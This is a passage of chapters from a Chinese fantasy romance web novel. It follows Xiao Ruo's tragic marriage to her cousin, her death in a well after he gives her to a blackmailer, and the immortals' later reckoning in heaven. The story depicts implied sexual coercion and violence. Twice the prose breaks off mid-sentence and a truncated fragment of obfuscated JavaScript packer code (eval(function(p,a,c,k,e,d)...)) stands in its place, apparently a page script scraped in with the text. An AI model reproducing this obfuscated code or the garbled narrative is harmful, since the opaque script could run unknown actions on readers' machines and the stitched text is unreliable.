不知怎么,主母看中了郑思如,让他去新宅保护陶老爷,还给他丰厚报酬。推辞得多,便显得奇怪,他只好遵命。 断断续续,镇上有些流言传来,说陶家少爷跟一个青.楼女子好上。 再然后,主母过来和陶老爷商量起陶少爷和表小姐的婚事。 郑思如心中警铃大作,好不容易在成婚当天找空子往陶宅赶,路上被各种奇怪的事拦了一路。不是被楼上倒水的婆婆浇了透心凉,就是被孙家养的狗追着咬,顺便被谢家散养的公鸡扑了满身鸡毛,简直集倒霉事于一身。 等他感到张灯结彩、贴满喜花的陶宅时,心中早憋着一股气,路经后院时恰遇见一脸颓唐的陶闻生,那气瞬间飙上头,索性出手揍他一顿。 遵循不能闹人命的基本守则,郑思如只把他打晕,便摸索着找到新房。 屋前只有侍女守夜,侍女也困地坐在阶上睡着。 夜闯闺房这事不地道,但他着实心急,轻声从侧窗翻进去。 本想着直接抢人走,他刚走到榻前,才发现她并没睡觉,睁着眼睛望着床上纱帐。 许久才眨一次眼,在月色下显得有些诡异。 他刚想叫她,她眼睛转向他,神色忽然慌乱起来,她瞬间起身往墙边靠,一副马上就惊叫出来的模样。 郑思如当然不能让她叫出声,只好捂住她的嘴,低声道:“别叫,别叫,我是郑思如。” 她惊怯往墙边去,衣襟未拢好,衣衫滑落,露出雪肩和颈下一片肌肤,斑驳的青紫痕迹触目惊心。 郑思如大脑有一瞬空白。 他有万千想问的,终是压在心中,只轻轻帮她拢好衣襟,然后从袖中拿出一块饴糖,送到她唇边,“先吃了。” 她有些畏惧,却仍听话地把糖吃下,这才渐渐平静。 郑思如帮她理理鬓发,才发现她额上全是薄汗,他帮她一点点擦干净,问道:“你跟我走吧。” 小若迷茫地眨了眨眼,“去哪儿?” “天下之大,四处为家,总之……别在这待。” 她摇摇头,“我不想离开家。” “这不是你的家,我们两个在一起也会有家。” 她仍摇头。 郑思如很无奈,他不想让她再待在这,想抱起她直接翻窗一走了之,可刚碰她,她情绪便开始崩溃,忍不住地颤抖抗拒,就像初见时看见刚杀人的他那样。 他如今既没法力,也不想强迫她,只好对她说:“以后若有人欺负你,你告诉我,我来揍他。” * 陶闻生被打晕一事传入主母耳中,主母疑是盗贼所为,又把武艺最高的郑思如调回陶宅,给新宅多买几个护院。 郑思如乐意之至。 新婚夜后,小若搬进陶闻生的小院,而陶闻生整日宿在书房,再没回去。 主母训斥陶闻生,说他有什么好怨小若的,那叶儿之所以离开,是因为她给了她两千两银子。 主母道:“你看,闻生,你在人家姑娘眼里还比不过两千两银子,你有什么好为她要死要活的?她愿意跟你不是你多好,是你背后有陶宅。你不小了,该学会如何分辨真心,不然以后有你悔的!” 陶闻生自是不服气,“娘,您向来是有手段的,别人不知道,我也不知道么?谁知道您是不是背后威胁了什么?叶儿虽出身不好,可她一直洁身自好,无怨无悔跟了我,还怀了我的孩子,最后却落得这般下场,我不心痛么?” 主母气得头疼,把他赶出房门。 叶儿走后,陶闻生行迹愈发放肆,更视诸人如无物。 只令人稀奇的是,他并不像一般纨绔子弟那般败家产,他花钱也从未向家人开口。 都只道他会赌,没人深究什么。 许是时日长了,他回想起那夜的事,心里也堵得慌。 心里越堵,越不愿见小若。 可不见,有些话不说,他也觉得有块巨石垒在胸口,让人喘不过气。 终于在某日,他鼓着勇气,买了袋桂花糕,踏入许久未归的院落。 小若正坐在石凳上发呆。 她好像很经常发呆,他也不知道发呆时她究竟在想什么。 看他来了,她放空的双眼才有了焦距,她缓缓站起,小声道:“表哥。” 陶闻生将桂花糕放在石桌上,没敢看她,道:“买给你的。” 她眼中忽有微光,伸手去解油纸包上的麻线,却因手笨,打了死结,越解越乱。 “我来吧。”陶闻生上前解线,站得离她近些,无意间碰到她的手,她却忽然抽回手,背在身后,眼神慌乱地看向别处,整个人处于僵硬的状态。 陶闻生解麻线的手也放缓,心中十分不是滋味。 其实,原本他和傻表妹的关系并不差,只是长大好就没小时那般亲厚。 那夜他虽没犯下大错,但终究伤了她。 他不应该那样卑劣地伤害一个白纸一样的人。 “对不起。”终于还是把歉意说出口。 陶闻生把油纸包解开,将桂花糕推到她身前。 小若才缓缓冷静下来,回头看那糕点。 陶闻生虽道了歉,面对她时却仍觉尴尬,只好说:“我有事,先走了。”而后离开院中。 小若便一人坐在院中,把那桂花糕一点点吃完。 * 此后,陶闻生便没之前那么浑,回府次数也多了些。主母和陶老爷合计合计,觉得他到年纪了,也该有个正经营生,便拿钱给他捐了个芝麻小官,从此过上吃皇粮的生活。 按理说,官无论大小,只要是官,都不能再入赌坊。但这偏远小镇上,陶家也算地头蛇,陶闻生偶尔去玩两把也无伤大雅,没人能对他怎样。 陶闻生任职后,家中进账稳步增多。但他此时已算一家之主,也无人注意。 主母看他算是收心了,便去新宅别院配陶老爷度过余生,临行前吩咐他多和小若交流夫妻感情,总归是要绵延子嗣的;若实在不喜她,去清白人家纳个妾便是,不准再随意找女人。 陶闻生也只是嘴上应下。 一来,年少初心所爱,实在难以忘怀。 二来,非他不想和小若要个孩子,实在是他难以摸透小若的脾性。 一日他归家,小若已备好羹汤等他。 虽说她与人沟通有些难,但她很努力跟着老嬷和侍女在学着如何做一个妻子。 在外漂泊久的人,总会不经意间眷恋家的温暖。 那顿饭是他们吃的最温馨平静的一顿饭。 饭后,屋中,红烛轻烧,月色漫漫。 面对如花美眷,心中难免有亲昵之意。用膳时眉目间流动的情意,让他以为他们可以成为真正的夫妇。 然而,就在他把手轻放在她肩上一刻,她的表情瞬间又变得慌乱,他想握住她的手,得到的也只有激烈反抗。 那日之事终在她心中烙下难以消除的伤痕。 他看她蜷缩在墙角,无措抱住双膝,畏惧望向他。 他忽然觉得很无力。 他问出心中一个藏了很久的疑问,“表妹,你想嫁给我,到底是为了什么?” 就因为一句不算承诺的承诺? “你根本不喜欢我对么?你还是不懂男女之情。” 他心中极是挫败,也有些后悔。 若那夜他不那般对她,是不是就不会这样。 他现在想弥补了。 * 闲余时间,他开始带小若去街上走走,就像以前一样,晨时陪她买糕点,夜时陪她观花灯,跟在她身旁,一刻也不分开。 他忽然有点怕把她再次弄丢。 小若应该也是开心的。 她没那么抗拒和他的接触,他尝试搂住她的肩,她也默许了。 他们真的像寻常夫妻那般。 他甚至有些庆幸娶了小若。 小若是美的,他带着她走在街上,遇见过往对头——金家大少金钰,金钰的目光一直粘着小若。 他在生出占有欲的同时,虚荣心也得到满足。 春日,他陪她去庙里求平安符,下山途中,遭遇劫匪。 为了护她,他中了很深一箭,他仍是坚持着带她回到府中。 他面色愈发苍白,大夫赶快帮他处理伤口。 他看着她为自己流泪,哽咽着说:“表哥,不要离开我……” 他擦掉她的泪,他指腹碰到她面颊的一瞬,她微微僵硬,却没再抗拒。 也许这是两人和好的契机。 这么想着,箭伤也没那么疼。 大夫吩咐他在家好好养着,养病那段时间,小若日日为他上药。 小若对他的身体有恐惧和抵触,可因他是为她而伤,她虽害怕,却还是克制住恐惧为他上药。 身子差不多快好了,药差不多用完。 他看她认真地用纱裹着碾碎的药膏擦在他的身上,看她长睫微卷,看她眉色如黛,看她唇色如樱。 她不再是个木讷的小女孩,也是个温柔的姑娘。 他想疼疼她,在她认真涂药时,握住她的腕,将她带入怀中,又压在身下。 他感到她的僵硬,可她已经不那么抗拒。 他说:“表妹,我们做真正的夫妻。” 原本一切都好,可到最后一步时,她终是再也抑制不住颤抖,用力将他推开。 他无奈说对不起。 她哭喊着说对不起。 “表妹,也许你真的不懂情,也不懂欲。对不起,我以后不会这样了。” 他给她盖好被子,悄悄退出房间。 * 叶儿回来了。 她找到陶府,找到陶闻生,哭着和他说她在外乡过不下去,求他收留。 年少珍重,失而复得,他怎会不收留,更何况她原本就是他娘逼走的。 怀着愧疚和怜惜,陶闻生将她安置在后院。 可也因此,他也渐渐不再去小若房中。 一边是热情的回应,一边是尴尬的沉默,任谁也不愿陷入无尽的沮丧和失败中。 同一屋檐下,哪能不见面。他和叶儿在一起时,遇见过小若。 小若远远站着,看着叶儿亲昵依偎他怀中,脸上说不上什么表情,只是默默地看着。 * 小若不开心时,郑思如便会出现。 不知为何,那主母十分看重郑思如,她又把他折腾到新宅去,以至于他只能偶尔抽空看小若。 他和那侍女时有通信,若小若过得尚好,他就不来打扰,若她不好,他就来陪她。 对于小若而言,强求是求不来的,只能悄悄等着。 她问他,“思如哥哥,我真的不懂情.欲么?” 他问,为何这样说。 她缓缓道:“相信一个人说的一句话,是错的吗?为什么今天说的话,明天可以不记得;今天把这个人带在身边,明天可以把那个人带在身边。” 难道相信的那个人,是错的;难道从一而终的,是傻子;难道矢志不移的,不懂情爱。 “你没错,是他错了。” “喜欢到底是什么感觉?” 郑思如递了饴糖给她,“就是这种感觉。” 她接过,把糖吃下去,道:“可是糖很甜。” “跟我走吧,陶宅太小。我带你去看大漠落日,带你去看雪山浮云,带你去看南海怒涛,带你去看更广阔的世界。” 小若没有回应,只是看着桌子发呆。 * 陶闻生出事了。 他收到来自金钰的威胁。 原来,他之前之所以能赚那么多钱,是因为在赌坊时通过三教九流获取了私放印钱的途径,为官后更是依靠此法赚了些钱。只是越到最近,心中越慌,便金盆洗手,不再做了。谁知道,他和其中一家的大交易的凭证字据被金钰搞到手。 私放印子钱这事,原本就是“民不举,官不究”。 但若朝廷命官私放印子钱,便是大罪,金额大者,可是要斩首的。 金钰以此胁迫,陶闻生实在无法。 金钰说:“大家都是年少挚交,金某也不忍看陶大人掉脑袋。只要陶大人满足金某一个小小的要求,金某就把这字据撕了。” “你要什么?” “素知陶家表小姐貌美,金某斗胆求陶大人,把这美娇娘许给金某。” 金钰早有妻室,他的意思,就是讨小若做姨娘。 陶闻生没想到金钰会如此趁火打劫,他想对他动手,被金家家丁拦住,金钰道:“和金某撕破脸,对陶大人有好处么?” 金钰说:“三天,陶大人,给你三天考虑,第三日子时,我的轿子自然会到你府上,你好好准备。看是要女人,还是要命。” 陶闻生打心底不愿意。 直到叶儿对他说:“陶郎,我又怀上你的孩子了,你就要当爹了,孩子不能没有爹,你不能死啊。” 当他因此事去求小若时,他感觉他在她这儿留下的为数不多的自尊也全部烟消云散。 小若还没说话,她的侍女就冲上来打了他一巴掌,“我以前尊敬你叫你一声少爷,把妻子拱手让人,你说话还要脸么!” 他麻木道:“对不起,表妹,求你。” 小若的目光落在他身上良久,却始终未开口。 就在他以为她要拒绝时,她很平静说了声好。 此后,她再未和他说过一句话。 她欠他一条命,如今救回他,就算还清了。 * 侍女把这消息赶忙通知给郑思如。 郑思如是第二夜赶到的,他赶到时,小若正坐在窗边看月亮。 他再一次说:“小若,跟我走。” 小若回头看他,月光柔和朦胧了她的五官,她显得异常安静温柔。 她说:“好。” 他心中升起不真实却又振奋的激动情绪,忙要上前拉着她走,她却道:“不是今天。” “明天就迟了!” 小若摇头,“明日丑时,金府,你等我,我跟你走。” 郑思如答应了。 她愿跟他走就好,他终于等到这一天。 今夜的她,格外不一样。 “我想明白了,我是懂情爱的,不是我不懂,是他们不懂。”她走上前拉住他的手。 “你曾说过,喜欢是这样的滋味,”她从桌上拿起一颗饴糖,“那你喜欢我吗?” 郑思如被问懵了。 这一世的小若明明痴痴傻傻,今夜看起来却并非如此。 可他还是诚实地点头。 “喜欢,才愿意当我的影子,而我却去做别人的影子。可是,懂情爱的人应该和懂情爱的人在一起,不是么?”小若望着他的眼睛问道。 “是。” 小若将那糖放入口中,然后攀着他的肩,踮起脚,送上一吻。 郑思如彻底懵了,许久许久,口中漫开淡淡甜味,他才回过神,望着小若的眉眼,眼中满是震惊。 他感到她手臂传来的微微颤抖,也感到她唇上传来的热情缠绵。 他回应般地搂住她的腰。 在这压抑的月色里拥吻。 一个突兀的,珍贵的吻。 红帐纤影颤,小窗轻风动, 银钩巧挂铃铛声。 情浓自把朱樱送,意深爱将软云弄。 明月高悬,红烛轻熔。 一段温柔痛,一段风流梦。 郑思如睁眼时,心头满满不真实。 他做了个决定,不能等到明日。 直觉告诉他,等到明日的下场不好。 他决定带她走,可他刚想抱起伏在他胸口睡着的她时,整个屋子忽然仿佛扭曲一般。 接着,一阵天旋地转,无法抗拒的力量让他昏迷过去。 待他醒来,身处不知名的荒林。关于那夜,他已什么也记不清。 只是有个约定依旧清晰—— 明日丑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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从金府侧门进去,走到后院,金钰已然在那处等候。 “陶大人亲自送嫁,金某不胜荣幸,感激,太感激了。”金钰揖后,笑得满面春风,“哎,说来也唏嘘。当年金某和陶大人在私塾,便互相攀比过表妹,不曾想,如今两位表妹都被金某收在后院,真是奇了!” 陶闻生不想与他啰嗦,冷脸说道:“人已经送到,金少也该遵守承诺,把那字据给我。” 金钰拍拍他肩膀,“哎,大人别急。今晚金某若满意,这字条自然无用,你我便是世上最好的亲家,你就是我妻兄,我还能害你?” “你!你出尔反尔!” “什么出尔反尔,生意人,总要好好验货才能付钱。” 陶闻生想挥拳打他,金家家丁便将他团团围住,将他双手反剪。 “金钰,我是朝廷命官!你若伤我,你要下大牢!” “陶大人,金某哪敢伤你,你就好好在外头待着吧。” 金钰撩开轿帘,伸手扶着里面的新嫁娘,将她接下来。 小若听话地跟他走出来。 金钰笑着看了一眼陶闻生,长臂一展,搂着小若的肩膀,进了卧房中。 陶闻生见她乖顺的背影,心头如遭重击,从前从未有过的情绪忽然弥漫,像一张巨大带刺的网,将他层层包裹,从外到内割得鲜血淋漓。 “表妹,别跟他进去!”他忽然想起他们那段相处的好时光,急忙喊道。 他想往前追去,却被那些家丁死死拦住。 把她送走的人是他,想挽留她脚步的人也是他。 他眼睁睁看着红影远去,才发现他心底极害怕这幅场景。 一种极大的荒谬感浮上心头。 怎么会走到这一步…… 他和表妹怎么会走到这一步? 雨中初遇,夜里安抚,上元观灯,山间相救,分明可以过好的…… 他曾说她没有正常人的情感,可她的情感那么浅显易懂,不像他满腹弯弯绕绕。 她的情只是情,他的情却有很多其他的东西,怜惜,欲.望,新鲜,刺激,自尊…… “表妹,表妹!别跟他进去,表哥错了,你回来吧!我以后一定好好对你!”他看着她渐行渐远的背影,疯了似的对她喊道。 那身披嫁衣的姑娘回头,给他留下一个微笑。 “吵死了!”管家朝陶闻生嘴里塞一团布条,堵住他的呼喊。 他眼睁睁看着她随金钰进了房中。 烛光摇曳,花影绰绰。 明月藏在浓云愁雾后,星光隐于淡风轻雨里。 欲走不能走,欲留不可留。 原来有的人是一根心头刺,不动时便不痛,微微一动,疼痛便蔓延全身。 可迟来的后悔,比草芥还不值钱。 夜格外的长。 从子时到丑时,雨也变冷。 不知过了多久,房中忽然传来一声惨呼,打破深夜的寂静。 是男声。 没多久,便是桌椅瓶罐碰倒的声音。 不一会,一个披头散发,衣衫不整的身影跌跌撞撞跑了出来。 那身影跑出房门,环着看了一圈,似在找寻谁。 可她没找到,只好往无人处跑去。 屋里传来金钰的怒吼,“给我抓住她!这贱人,她偷了契证!” 那些绑着陶闻生的家丁便也放开他,纷纷朝那身影追去。 “表妹!”陶闻生不再受钳制,赶忙从嘴里抽出布条,随那些家丁朝她跑去。 原本陷入沉睡的金府忽然灯火通明,四处都是拿着火把、提着灯追人的家丁。 小若被逼着跑到中庭,前后左右都是准备抓她的人。 中庭北侧有一口深井。 一切都是一瞬间的事。 小若根本没时间反应,攥着字据跑到井边,毫不犹豫跳了进去。 陶闻生脑内最后一根弦彻底崩断。 “表妹!”他推开那些家丁,跑到井边,望下去,才发现这井深不见底。 金钰一瘸一拐走出来,看见那井,吞了口口水,道:“这不是我逼她跳的,是她自己跳的,和我无关!” 陶闻生赶忙把绳子缠在腰上,就要下井救人。 金钰不敢闹出大事,让家丁拉着绳子。 过会,井底传来声音,家丁们赶忙拉着绳子上来。 井口不大,很好找寻。 陶闻生托着小若的腰,将她抱上来。 她手里的字条已经撕碎,浸润在井水里,字迹模糊,什么也看不清。 陶闻生屈膝坐在井旁,怀中女子面色苍白,双眸紧闭,浑身湿透,鬓发粘在脸颊上。 “没事的,才进去没多久,表妹,你没事的。”他将她反放在膝盖上,头部朝下,按压她的背部,想帮她排出水。 可小若没反应。 过了会,他才发现有血顺着她的面颊和脖颈流淌在地上。 原是红衣裹身,看不清血。 他颤着手碰了碰她的后脑勺和脖颈,才发现满手黏稠的血。 不是溺水而亡。 井底有石坎,高高落下去,撞到头颈的一瞬人就没了。 他浑身力气似被抽去,跌坐在一旁,将她紧紧搂在怀中。 “表妹,对不起,对不起……你再给表哥一次机会,好不好?表哥求你,求你活过来,求你醒过来,看一眼我,就一眼也好。以前千错万错都是我的错,我是混蛋,我什么都不懂,你再看我一眼,就一眼。我们重新开始好么?我不再对你说那些话,我不再凶你,不再这样对你……” “你晚上怕的时候,我陪在你身边,我抱着你;你爱吃糖吃糕点,我统统买给你……我求你,求你睁睁眼……” 明明一切都在变好,明明两人之间开始变好,他一次又一次把她推开。 当你一次次推开她时,以为她还会回来。 把她“卖”给另一人时,才恍悟也许她回不来。 她为你跳井而亡,才彻底明白,她真的回不来。 之前的所有,不过是侥幸,不过是自以为是地认为,她永远不会离开。 她的死全是为了他,为了救他,为了他不再被金钰挟持。 冰冷的尸体不会回应迟到的深情。 郑思如赶到时,看到的就是这样的场景。 他来晚了。 在她和他说,愿意跟他走后,他来晚了。 他没了法力,死赶慢赶,等来的就是这样的场景。 为何会突然出现在荒林?为何突然丢失了一夜的记忆?为何法力尽失? ……可归根到底。 是他失约。 纵然知道这之后她会回归天界,可他失约。 若他不失约,这一世他便成功地带她离开。 他就能短暂而完全地拥有她。 眸中赤色愈发遮挡不住,逐渐浓郁。 这一刻,心中没有理智,只有毁灭。 他抑制不住他的愤怒、愧疚和恨意,那些灵气魔气不受控制瞬间爆发。 凡人天子之怒,伏尸百万,流血千里;仙人之怒,寸草不生,灰飞烟灭。 可他终是想起,离开天界时,与她定下的不乱杀生的约定。 强行将那些灵气收归体内,筋脉濒临爆裂,终是忍下。 谁也不伤,只是伤己。 雨还在淅淅沥沥下个不停。 一川烟草,满城风絮,梅子黄时雨。 试问闲愁都几许? 48. 常怀千岁忧(1) 48.常怀千岁忧(1) 从时光角落中拾起陈旧记忆,就像拿起落满灰尘的旧铜镜自照。不细瞧,看得模糊,细瞧想看清,把镜子擦干净,却留一手灰。 王心若从镜中窥情劫,就是这样一个过程。 她全程都在想:自己为何会这样?师弟们为何会这样?他们之间为何会这样? 毕竟在情劫之前,师姐弟已相处许多岁月,均是和乐融融。人无完人,师弟们各有什么缺点她大概也清楚,可不至于在情劫中成那般模样。 她有些理解自己之前为何历劫完便把那一分记忆和灵魄割裂,就算不为弑神,也为自己能正常待在天界。 这样想着,她随林果果赶往虚妄天的心思有些动摇。 理性而言,身为师姐,保持天界和平是她的职责,她不能真让其中哪位师弟因私斗陨落;可从私心而言,她有些无法面对这样的场景。哪怕历劫时光只是短短二十多年,可那种感觉回想起来,每一遍都令人难受。 七情六欲归体,她也有一颗跳动的心。除了师姐这个头衔,她还是王心若自己,也有悲欢喜乐,不是事事都能冷静理性地对待。 在淡淡的纠结中,她还是赶到虚妄天。 虚妄天漫天火莲,火焰怒燃,映得天空通红,宛如熔炉。 她肉身不敢硬闯进去,只好让林果果先去探一探。 谁知林果果往前走没多久,就出来说:“仙长,陛下他们动真格了,我境界不够,闯不进去。” “那就等吧。”这么浓的魔气在天界待这么久,低阶修士不敢出头,那几个师弟总该出来看看。 谁知王心若和林果果等了半天,也没等来一个仙君。 “不应当,他们怎么没人来?”王心若疑惑。 慕容修不来就罢了,陆起这个厉川掌门也不来。 林果果是亲眼见证过他们互撕的,回道:“仙长,仙君们怕是闹翻了。” “闹翻?” “就……反正,很久没互相理过了,甚至见面就打。” 王心若忽然觉得很疲惫,这时刻闹翻,先不说长远的,就说近期,天界事务必会受牵连。 “就没一个有理智的?” “幕容仙君倒有理智,可他现在说的话,其他仙君也不听了……” “他们是不想造反,还记得自己是谁么?是不是天界分裂他们便开心了?” “仙长仙长,冷静。”林果果还是第一次看王心若生气,复活后的仙长比之前的仙长平易近人许多,可生起气来,又和以前仙长的身影重叠起来,让她有一丝害怕。 王心若只恨自己一身修为散尽,在天界形同废人,不能像以前那般任意来去。 气氛焦灼时,有人在后面轻喊她“师姐”。 回首,身着淡青衣袍、一番文人装束的男子立在身后。 王心若才稍微平静,“你来了。” 吴秋行道:“感到这边的动静,我就来了。” 对王心若而言,吴秋行是很特别的存在。吴秋行容貌在诸师弟中最为平凡,修为也一般,可他往那一站,就像淡雅修长的翠竹,自有一段风骨,他的目光总是平淡深邃,让人很难揣测其中意味。 很长一段时间,他是师弟中与她最不亲厚之人。他一向是师兄弟里最博学多识的那个,所以,这也让别人的智谋心计在他面前显得有些幼稚,王心若也不例外。年少的她对他这种高傲自持的态度很是恼怒。 可偏偏是这样一人,却耗了半条命为她推衍天数。在战前,和她诉说许多衷情。 她对他的感觉很复杂。 王心若只好沉默以对,等他说话。 “师姐,可否给我一个你的随身之物?” 王心若也不问为什么,解下发带递给他。 吴秋行接过发带,施咒后,将它掷向前方,进了那红彤彤的四方“火炉”。 发带似有灵识,朝灵气与魔气的源头冲去。 不一会,王心若看着眼前天地间炽热的火焰和红莲剑意渐渐淡下。 “师姐可以去寻他们了。”吴秋行道,“小九告辞。” 王心若朝他颔首,带着林果果向前寻去。 “师姐!”吴秋行忽然叫住她。 她回身。 “谢谢师姐还信任我。” 王心若不知说什么,只好朝他微微一笑。 吴秋行微怔,伫立着看她往前继续走去,而后落寞一笑,也不过多逗留,转身离去。 王心若终于寻到那两人。 层层云雾中,一人高立云端,一手持剑,一手持着发带,似在思考,另一人跌在云间,灰袍被血染成深褐色,手中握着长弓,挣扎着想要起身。 王心若到时,那两人都望向她。 林果果没骗她,郑含元下的几乎是死手。 把一个炼体的修士打得血流不止、遍体鳞伤以至于倒地不起,就和把剑修的剑折断一样。皆是碾压其引以为豪的东西。 陶闻生原也是个意气风发的少年,被纵春秋弄得衣袍破烂,浑身血污。 没人愿意将这副样子给心上人看见,他背过身,不敢去看王心若,也不敢让她看见这副落魄样子。 郑含元讽道:“原来你还有些自尊,不是那么无药可救。” 王心若淡淡道:“含元,回去吧。” 郑含元没理会她,飞身至陶闻生面前,揪着他衣襟,冷声道:“陶闻生,今日之战,我等了三百多万年,等到我能再次上天界,等到她不再护你。若她今日不来,我就剖出你的灵根,捏碎你的修为,让你消失在这三界。” 陶闻生说不出话,他喉管里全是血,只能往外吐血,汗水和血弄湿他的头发和衣衫,整个人看起来狼狈不堪。 林果果除了自己死那天,没看过这么多血,吓得背过身去。 “含元,回去吧。”王心若又说了一遍。 郑含元已是极力克制识海中的魔气,不然纵春秋未必能给陶闻生留全尸。他依旧未理会她的话,把欲起身的陶闻生重重踢倒,“原以为你只是没脑子,后来才知道你还自私、愚蠢、懦弱。师兄弟中,你和宜均最小,你师姐最疼你们,可宜均有血性,你没有,诸人中我最恨你。难怪人间说,百般溺爱出来的,几乎都是废物。” 陶闻生受重力所震,开始大口大口咳血,咳得头上青筋毕露,双目赤红,满头冷汗。 王心若不愿再看,直接上前,拉着郑含元就要走。 她不想把自己和情劫中的小若混为一谈,也很难接受她以往疼爱的小十是做出让妻之事、自私薄情的陶少爷。她的确厌恶情劫中的他,可她也记得那个笑容开朗,给她采花的灰衣少年。 这两种截然不同情绪的记忆碰撞,几乎把她的情感割裂。 倒不如给彼此一些冷静的时间。 陶闻生忽然含糊不清说了一些话。 她耐着性子听完,才发现他说的是,“师姐,我赎罪。” 郑含元一句也不想听他说,“赎罪?你赎个什么罪?” 他颤着手,那手指化为刃,剖开腹下血肉,似要取什么给她。 她立马就反应过来,摁住他的手,“不必。” 他想把灵根剖出给她。 她如今是凡体,无法修仙。他再不济也是天玄境的修士,灵根蕴藏灵气能助她早些恢复巅峰状态。 可他此刻本就奄奄一息,再把灵根予人,几乎是死路一条。 陶闻生被摁住手,他对她摇摇头,竟从眼角流出泪。 王心若叹口气,原本想叫他小十,后来还是改了口,“闻生,死其实是很容易的事。也许对你而言,死是赎罪。可你要明白,我是王心若,是你的师姐。你愧对的那个小若,她已经死了,不会再回来。你把这份愧疚给我,我……是不会接受的。” 她说得很温柔,言语中没任何指责之意,可就是这样的话,让他期待的双目越来越灰暗。 赎罪本身不痛苦,痛苦的是心中有愧疚,却永远无法得到救赎。 仅以第三人的角度看镜中情劫,即便是自己,也会少些感同身受的感觉,以为那是别人的事。可当那些记忆从识海浮现,当曾有的情绪和感觉重归这身.体,体会就完全不一样。 陶闻生是在挨打时恢复的记忆。 所有的记忆和感情如潮水涌入,让他知道郑含元骂他的话都是真的,他一句也无法反驳。 王心若的情劫自小若死后结束,陶闻生的情劫自小若死后开始。 小若死后,他所有的事都开始不如意起来。 先是仕途不顺,没几年就被罢官。后来,他去赌坊赌钱,结果一时上头,把古宅新宅都赌输了,多年的积蓄全没了,债主上门时,把陶老爷活活气死。 主母尚有些嫁妆,在镇上租下一方小宅,三人挤着互相取暖。叶儿生了个男孩,原本算是个乐事,可有日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梦见连绵细雨中,和一个女孩的相遇;梦见一个醉酒的夜,她伏在他肩上哭泣,那眼泪的温度。 梦见喜烛燃着的房间,红衣银钗的姑娘,木讷的眼中一抹安静的期待。 命运的转折也就是那个红烛高照的夜。 若他不说那番混账话,不做那些混账事,也许他们就是琴瑟和鸣、举案齐眉的恩爱夫妻,也不会再有后面那些事。也许他们会有孩子,也许陶家会兴旺吉祥,每个人都会过的很快乐。 也许他们本有机会的,只是他自己把那机会掐断了。 也许永远都是也许,定局总归是定局。 没人能有颠倒日月、回溯过往的能力。 …… “师姐,对不起……”他的喉咙很痛,充斥着浓郁的血腥味,每说一句话都如同刀割。 “果果,带陶仙君回厉川,让他好好调养。”王心若起身吩咐林果果,拉着郑含元就要离开。 陶闻生脸上汗水、血痕、泪痕交错,他害怕看她这样一言不发地离去,却又没有任何立场挽留。 “师姐……不要离开我……”他卑微地求着。 他也曾听那痴心的姑娘哽咽着对他说:“表哥,不要离开我……” 如今不是她求他,而是他求她。 走了,就真的走了。 王心若没有回头。 他用尽力气攥住她的衣裙,却发现自己手上的鲜血将她白衣染红一角。 那血渍太刺眼,以至于他觉得那血弄脏了她洁白的衣裙。 于是,放开了手。 又看着师兄牵起她的手。 他只觉得浑身疼得厉害,分不清哪里在疼。 只好在这飘渺云间将自己蜷缩起来,缩成一个点。 王心若的情劫已在那几十年结束,他的情劫从她的情劫结束一刻起,延伸到遥不可及的未来。 他是仙君,未来生途还漫长,许是几百万年,许是更长,他将无数次看见她毫不留恋的背影,看见她对另一个人的亲昵与依恋,无数次明白自己只是一个给她留下痛苦回忆的卑劣的过客。 在这漫长岁月中,不知道这劫难何时结束,不知道何时才能赎罪,是他得到的最大惩罚。 紫柏尊者云,“众人闻生则喜,闻死则悲”,实则生未必喜,死未必悲,生者因心死已死,死者因记忆永生。 49. 常怀千岁忧(2) 49.常怀千岁忧(2) 林果果得了王心若的吩咐,自然要把陶闻生安全送回厉川。 她携带了御空而行的法器,是一方可变大变小的锦帕。那锦帕在咒语下变成四四方方散发淡淡光华的锦席,林果果花了好大一番力气,才小心翼翼把陶闻生挪到飞席上。 她很怕碰到他血肉模糊的伤口,让他痛或是难受,所以没敢使劲,这也让她更累。 “辛苦你了。”陶闻生向她道谢。 林果果也坐上席子,轻轻擦擦汗,笑道:“仙君客气,应该的,我好歹也是厉川弟子,说来仙君还算我师叔呢。” 她觉得自己的际遇也挺传奇,原本是鬼域角落中一个普通鬼魂,后面却卷入诸仙君的大事中,因此获得免饮孟婆汤转世投胎的机会,重登仙途,还一跃成为厉川掌门亲传弟子。 上辈子她只是个普通的内门小弟子,虽有些才华,但一头扎进爱情的漩涡,一直在纠结情事,没把心思放在炼器上,后来年纪轻轻死在他人手,就更没机会。 虽然那因缘轮回镜最后没卖给白骨郎君,却给她带来更大的收益。她和仙长那次相遇,实在是她漫漫鬼途中一个奇妙的转折点。所以仙长的吩咐,她一定会好好遵循。 锦席御空而行,前往四重天厉川所在的峡谷。 陶闻生忽然说道:“我今日才知道,为什么有些修士历劫后,会将那段记忆抽出掐灭。” “师叔也想如此吗?” 他摇头,“我懦弱很久了,要是连愧疚也不敢直面,就真的……” 真的什么,他没说下去,只是唇畔挂上自嘲的笑意。 林果果虽和他接触不多,却也听闻过一些有关陶闻生的传闻。 天界诸仙君中,脾气不好话还多的有三人:柳宜均、裴嘉和陶闻生。 三人各有各的特点,柳宜均从外貌到行为本就是天界一朵奇葩,他极度坚持自我,说话的口吻内容时常让普通修士无法接受;裴嘉为人高傲,说话自带冷气,像冰锥子;至于陶闻生,没别的,单纯是比较莽撞。 一个莽撞不成熟的人,忽然开口说些成熟的话,除让人诧异外,也让人倍感唏嘘。 就像人间父母看孩子,总问他为什么不长大;可他真有一天长大,他们心中却忽然惆怅起来。 林果果不清楚他们的恩怨,只知道大概是情劫里他负了仙长,惹恼陛下,才扯出这一场大战。 她无法回应他的话,只能说:“师叔,你回去后好好修养,这段时间就别再出来。” 陶闻生又问她:“你说,师姐以后是不是再也不会理我了,她说她不会接受我的愧疚。” 林果果也听到那句话,她略一思忖道:“师叔,我觉得仙长是在提醒你,她和情劫中的她不是同一人,那你和情劫中的你,也不是同一人。还债的应是情劫中的你,不是现在的你。再说……你……你受这么重的伤,已算是赎罪。仙长她不想看你剖去灵根,身死道消,才制止了你。” 